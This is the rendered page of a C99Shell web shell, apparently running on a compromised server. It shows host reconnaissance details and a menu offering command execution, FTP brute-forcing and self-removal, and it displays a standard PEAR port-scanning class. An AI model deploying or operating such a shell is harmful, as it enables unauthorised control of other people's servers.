!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/lampp/lib/php/Net/   drwxr-xr-x
Free 13.74 GB of 61.93 GB (22.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Portscan.php (3.83 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * PHP 4
 *
 * Copyright (c) 1997-2003 The PHP Group
 *
 * This source file is subject to version 2.0 of the PHP license,
 * that is bundled with this package in the file LICENSE, and is
 * available at through the world-wide-web at
 * http://www.php.net/license/2_02.txt.
 * If you did not receive a copy of the PHP license and are unable to
 * obtain it through the world-wide-web, please send a note to
 * license@php.net so we can mail you a copy immediately.
 *
 * Authors: Martin Jansen <mj@php.net>
 *
 * @category Net
 * @package  Net_Portscan
 * @author   Martin Jansen <mj@php.net>
 * @license  PHP 2.02 <http://www.php.net/license/2_02.txt>
 * @version  CVS: $Id: Portscan.php 292446 2009-12-21 21:03:44Z mj $
 * @link     http://pear.php.net/net_portscan
 */

define("NET_PORTSCAN_SERVICE_FOUND"true);
define("NET_PORTSCAN_NO_SERVICE"false);

/**
 * Portscan class
 *
 * This class provides methods to scan ports on machines,
 * that are connected to the internet. See README for more
 * information on how to use it.
 *
 * @category Net
 * @package  Net_Portscan
 * @author   Martin Jansen <mj@php.net>
 * @license  PHP 2.02 <http://www.php.net/license/2_02.txt>
 * @link     http://pear.php.net/net_portscan
 */
class Net_Portscan
{
    
// {{{ checkPort()

    /**
     * Check if there is a service available at a certain port.
     *
     * This function tries to open a connection to the port
     * $port on the machine $host. If the connection can be
     * established, there is a service listening on the port.
     * If the connection fails, there is no service.
     *
     * @param string  $host    Hostname
     * @param integer $port    Portnumber
     * @param integer $timeout Timeout for socket connection in seconds
     *                         (default is 30).
     *
     * @access public
     * @return string
     */
    
function checkPort($host$port$timeout 30)
    {
        
$socket = @fsockopen($host$port$errorNumber$errorString$timeout);

        if (!
$socket) {
            return 
NET_PORTSCAN_NO_SERVICE;
        }

        @
fclose($socket);
        return 
NET_PORTSCAN_SERVICE_FOUND;
    }

    
// }}}
    // {{{ checkPortRange()

    /**
     * Check a range of ports at a machine
     *
     * This function can scan a range of ports (from $minPort
     * to $maxPort) on the machine $host for running services.
     *
     * @param string  $host    Hostname
     * @param integer $minPort Lowest port
     * @param integer $maxPort Highest port
     * @param integer $timeout Timeout for socket connection in seconds
     *                         (default is 30).
     *
     * @access public
     *
     * @return array  Associative array containing the result
     */
    
function checkPortRange($host$minPort$maxPort$timeout 30)
    {
        for (
$i $minPort$i <= $maxPort$i++) {
            
$retVal[$i] = Net_Portscan::checkPort($host$i$timeout);
        }

        return 
$retVal;
    }

    
// }}}
    // {{{ getService()

    /**
     * Get name of the service that is listening on a certain port.
     *
     * @param integer $port     Portnumber
     * @param string  $protocol Protocol (Is either tcp or udp. Default is tcp.)
     *
     * @access public
     *
     * @return string  Name of the Internet service associated with $service
     */
    
function getService($port$protocol "tcp")
    {
        return @
getservbyport($port$protocol);
    }

    
// }}}
    // {{{ getPort()

    /**
     * Get port that a certain service uses.
     *
     * @param string $service  Name of the service
     * @param string $protocol Protocol (Is either tcp or udp. Default is tcp.)
     *
     * @access public
     *
     * @return integer Internet port which corresponds to $service
     */
    
function getPort($service$protocol "tcp")
    {
        return @
getservbyname($service$protocol);
    }

    
// }}}
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.4938 ]--